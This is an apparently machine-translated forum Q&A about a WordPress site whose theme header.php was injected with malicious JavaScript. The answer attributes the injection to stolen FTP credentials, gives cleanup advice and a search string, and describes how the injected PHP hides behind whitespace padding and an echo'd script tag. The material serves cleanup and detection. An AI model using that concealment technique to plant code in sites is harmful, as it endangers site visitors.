不幸的是，我的网站因AVG和Google包含恶意Javascript而被阻止。下面粘贴的恶意代码以某种方式注入到最新版Wordpress的header.php主题文件中。我检查了所有文件并删除了任何可疑的插件，以确保不再发生这种情况。主题来自一个非常知名的供应商，因此我无法看到它因为主题而发生。我想知道这是怎么做的，所以它不会再发生。

答案 0 :(得分：0)
您上面发布的代码通常表示FTP凭据被盗。
我不确定1and1是否允许您访问FTP日志，但如果是，请查看。你可以找到证据。但是我们已经清理了超过160,000个网站，我们已经在我们可以访问FTP日志的网站上看到了确切的代码，并且在每种情况下都被窃取了FTP凭据。
黑客知道很多人都有FTP访问网站。因此他们的病毒旨在窃取FTP密码。首先，更改所有密码。然后，在您对计算机进行完整的病毒扫描之后才能登录。在其他人对其计算机进行完整系统病毒扫描之前，请不要透露新密码。
一个好的病毒清除工具是Malwarebytes。
您应该做的一件事是搜索所有文件的字符串：44,152,171（在您的情况下）。原因是虽然你会在.htm / .html / .js文件中找到上面的代码，但在.php文件中，黑客大多使用相同的代码，但它是“echo'd”，所以许多特殊字符都被转义在.php代码中。
你会看到一个开放的php标签<?php或短版本<?后跟一系列空格然后是标识符＃879076＃（例如）然后更多空格然后“echo”接着是更多空格，然后是开场脚本标签。
添加的空间旨在尝试在使用文本编辑器查看时将恶意代码隐藏在屏幕外。
